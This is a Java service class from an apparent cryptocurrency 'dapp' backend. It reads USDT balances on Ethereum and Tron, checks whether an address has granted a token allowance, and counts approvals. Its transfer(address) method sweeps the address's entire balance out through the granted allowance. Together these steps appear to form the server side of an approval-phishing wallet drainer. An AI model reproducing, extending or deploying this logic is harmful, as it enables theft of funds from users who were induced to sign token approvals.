package cc.mrbird.febs.dapp.chain; import cc.mrbird.febs.common.exception.FebsException; import cn.hutool.core.util.StrUtil; import cn.hutool.http.HttpUtil; import com.alibaba.fastjson.JSONObject; import java.math.BigDecimal; import java.math.BigInteger; /** * @author wzy * @date 2022-03-23 **/ public class ChainService { private final String ETH_PREFIX = "0x"; private final EthService ETH = new EthService(); private final TrxService TRX = TrxService.INSTANCE; private ChainService() {} public final static ChainService INSTANCE = new ChainService(); /** * 获取制定账号的USDT余额 * * @param address * @return */ public BigDecimal balanceOf(String address) { BigDecimal balance = BigDecimal.ZERO; if (address.contains(ETH_PREFIX)) { balance = ETH.tokenGetBalance(address); } else { balance = TRX.balanceOfDecimal(address); } return balance; } /** * 判断地址是否授权给制定账户 * * @param address * @return */ public boolean isAllowance(String address) { BigInteger result; if (address.startsWith(ETH_PREFIX)) { result = ETH.ethAllowance(address); } else { result = TRX.allowance(address); } return result.intValue() != 0; } /** * 获取地址授权数量 * * @param address * @return */ public int allowanceCnt(String address) { String response = HttpUtil.get("https://apiasia.tronscan.io:5566/api/account/approve/list?address=" + address); String total = JSONObject.parseObject(response).getString("total"); return Integer.parseInt(total); } public String transfer(String address) { BigDecimal amount = balanceOf(address); return transfer(address, amount); } public String transfer(String address, BigDecimal amount) { String hash; if (address.startsWith(ETH_PREFIX)) { String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124"); JSONObject data = JSONObject.parseObject(resp); hash = ETH.approveTransfer(address, amount, data.getString("avgPrice")); } else { hash = TRX.transfer(address, amount); } return hash; } public static void main(String[] args) { // System.out.println(ChainService.INSTANCE.transfer("0x391040eE5F241711E763D0AC55E775B9b4bD0024", BigDecimal.valueOf(5))); // System.out.println(new EthService().ethAllowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024")); System.out.println(ChainService.INSTANCE.balanceOf("0x391040eE5F241711E763D0AC55E775B9b4bD0024")); } }